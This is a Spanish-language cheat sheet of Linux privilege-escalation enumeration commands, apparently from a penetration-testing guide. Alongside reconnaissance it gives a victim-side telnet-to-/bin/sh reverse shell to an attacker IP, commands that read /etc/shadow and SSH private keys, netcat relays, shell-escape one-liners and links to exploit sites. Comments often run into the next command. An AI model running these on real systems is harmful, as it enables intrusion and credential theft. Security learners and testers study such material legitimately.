Enumeracion de Linux
La enumeración es clave. La escalación de privilegios en Linux se trata de:
Recopilar: Enumeración, más enumeración y aún más enumeración.
Procesar: Ordenar los datos, analizar y priorizar.
Buscar: Saber qué buscar y dónde encontrar el código de exploit.
Adaptar: Personalizar el exploit para que encaje. No todos los exploits funcionan para cada sistema "tal cual".
Intentar: Prepárate para (muchos) ensayos y errores.
Sistema Operativo ¿Cuál es el tipo de distribución? ¿Qué versión es?
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
¿Cuál es la versión del Kernel? ¿Es de 64 bits?
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
¿Qué se puede aprender de las variables de entorno?
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
¿Hay una impresora?
lpstat -a
Aplicaciones y Servicios ¿Qué servicios están corriendo? ¿Qué servicio tiene qué privilegios de usuario?
ps aux
ps -ef
top
cat /etc/service
¿Qué servicios están siendo ejecutados por root? De estos servicios, ¿cuáles son vulnerables? ¡Vale la pena verificarlo dos veces!
ps aux | grep root
ps -ef | grep root
¿Qué aplicaciones están instaladas? ¿Qué versión tienen? ¿Están corriendo actualmente?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archives
ls -alh /var/cache/yum/
¿Alguna configuración de servicio está mal configurada? ¿Algún plugin (vulnerable) está adjunto?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
¿Qué trabajos están programados?
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
¿Hay nombres de usuario y/o contraseñas en texto plano?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
# Joomla
Comunicaciones y Redes ¿Qué NIC(s) tiene el sistema? ¿Está conectado a otra red?
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
¿Cuáles son las configuraciones de red? ¿Qué se puede encontrar sobre esta red? ¿Servidor DHCP? ¿Servidor DNS? ¿Puerta de enlace?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
¿Qué otros usuarios y hosts están comunicándose con el sistema?
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
¿Qué está en caché? ¿Direcciones IP y/o MAC?
arp -e
route
/sbin/route -nee
¿Es posible hacer sniffing de paquetes? ¿Qué se puede ver? Escuchar tráfico en vivo
tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
¿Tienes una shell? ¿Puedes interactuar con el sistema?
nc -lvp 4444
# Atacante. Entrada (Comandos)nc -lvp 4445
# Atacante. Salida (Resultados)telnet [ip del atacante] 44444 | /bin/sh | [ip local] 44445
# En el sistema de la víctima. Usa la IP del atacante!
¿Es posible hacer port forwarding? Redirigir e interactuar con el tráfico desde otra vista
FPipe.exe -l [puerto local] -r [puerto remoto] -s [puerto local] [IP local]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
ssh -L 8080:127.0.0.1:80 root@192.168.1.7
# Puerto Localssh -R 8080:127.0.0.1:80 root@192.168.1.7
# Puerto Remotomknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe
# Relé de Puertosmknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe
# Proxy (Puerto 80 a 8080)mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe
# Monitor de Proxy (Puerto 80 a 8080)
¿Es posible hacer túneles? Enviar comandos localmente, remotamente
ssh -D 127.0.0.1:9050 -N [usuario]@[ip]
proxychains ifconfig
Información Confidencial y Usuarios ¿Quién eres? ¿Quién está conectado? ¿Quién ha estado conectado? ¿Quién más está allí? ¿Quién puede hacer qué?
id
who
w
last
cat /etc/passwd | cut -d:
# Lista de usuariosgrep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'
# Lista de superusuariosawk -F: '($3 == "0") {print}' /etc/passwd
# Lista de superusuarioscat /etc/sudoers
sudo -l
¿Qué archivos sensibles se pueden encontrar?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
¿Hay algo "interesante" en los directorios de inicio? Si es posible acceder
ls -ahlR /root/
ls -ahlR /home/
¿Hay contraseñas en scripts, bases de datos, archivos de configuración o archivos de log? Rutas y ubicaciones predeterminadas para contraseñas
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
¿Qué ha estado haciendo el usuario? ¿Hay alguna contraseña en texto plano? ¿Qué han estado editando?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
¿Qué información de usuario se puede encontrar?
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
¿Se puede encontrar información de clave privada?
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
Sistemas de Archivos ¿Qué archivos de configuración se pueden escribir en /etc/? ¿Es posible reconfigurar un servicio?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null
# Cualquierals -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null
# Propietariols -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null
# Grupols -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null
# Otrosfind /etc/ -readable -type f 2>/dev/null
# Cualquierafind /etc/ -readable -type f -maxdepth 1 2>/dev/null
# Cualquiera
¿Qué se puede encontrar en /var/?
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
¿Hay algún ajuste/archivo (oculto) en el sitio web? ¿Algún archivo de configuración con información de base de datos?
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
¿Hay algo en el(los) archivo(s) de log? (¡Podría ayudar con "Inclusión de Archivos Locales"!)
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
cat /var/log/auth.log
cat /var/log/boot
cat /var/log/btmp
cat /var/log/daemon.log
cat /var/log/debug
cat /var/log/dmesg
cat /var/log/kern.log
cat /var/log/mail.info
cat /var/log/mail.log
cat /var/log/mail.warn
cat /var/log/messages
cat /var/log/syslog
cat /var/log/udev
cat /var/log/wtmp
Si los comandos están limitados, ¿puedes salir de la "Shell TTY"?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
¿Cómo están montados los sistemas de archivos?
mount
df -h
¿Hay sistemas de archivos no montados?
cat /etc/fstab
¿Qué "Permisos Avanzados de Archivos en Linux" se están usando? Sticky bits, SUID y GUID
find / -perm -1000 -type d 2>/dev/null
# Sticky bit - Solo el propietario del directorio o el propietario de un archivo puede eliminar o renombrar aquí.find / -perm -g=s -type f 2>/dev/null
# SGID (chmod 2000) - Ejecutar como el grupo, no como el usuario que lo inició.find / -perm -u=s -type f 2>/dev/null
# SUID (chmod 4000) - Ejecutar como el propietario, no como el usuario que lo inició.find / -perm -g=s -o -perm -u=s -type f 2>/dev/null
# SGID o SUIDfind / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
# Encontrar empezando desde root (/), SGID o SUID, no enlaces simbólicos, solo 3 carpetas de profundidad, listar con más detalles y ocultar cualquier error (por ejemplo, permiso denegado).
¿Dónde se puede escribir y ejecutar? Algunos lugares 'comunes': /tmp, /var/tmp, /dev/shm
find / -writable -type d 2>/dev/null
# Directorios con permisos de escritura para todosfind / -perm -222 -type d 2>/dev/null
# Directorios con permisos de escritura para todosfind / -perm -o+w -type d 2>/dev/null
# Directorios con permisos de escritura para todosfind / -perm -o+x -type d 2>/dev/null
# Directorios con permisos de ejecución para todosfind / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null
# Directorios con permisos de escritura y ejecución para todos
¿Algún archivo "problemático"? Archivos con permisos de escritura para todos, archivos "nobody"
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print
# Archivos con permisos de escritura para todosfind /dir -xdev \( -nouser -o -nogroup \) -print
# Archivos sin propietario
Preparación y Búsqueda de Código de Explotación ¿Qué herramientas/lenguajes de desarrollo están instalados/soportados?
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
¿Cómo se pueden subir archivos?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
Encontrar código de exploit
http://www.exploit-db.com
http://1337day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.google.com
Encontrar más información sobre el exploit
http://www.cvedetails.com
http://packetstormsecurity.org/files/cve/[CVE]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
http://www.vulnview.com/cve-details.php?cvename=[CVE]
Última actualización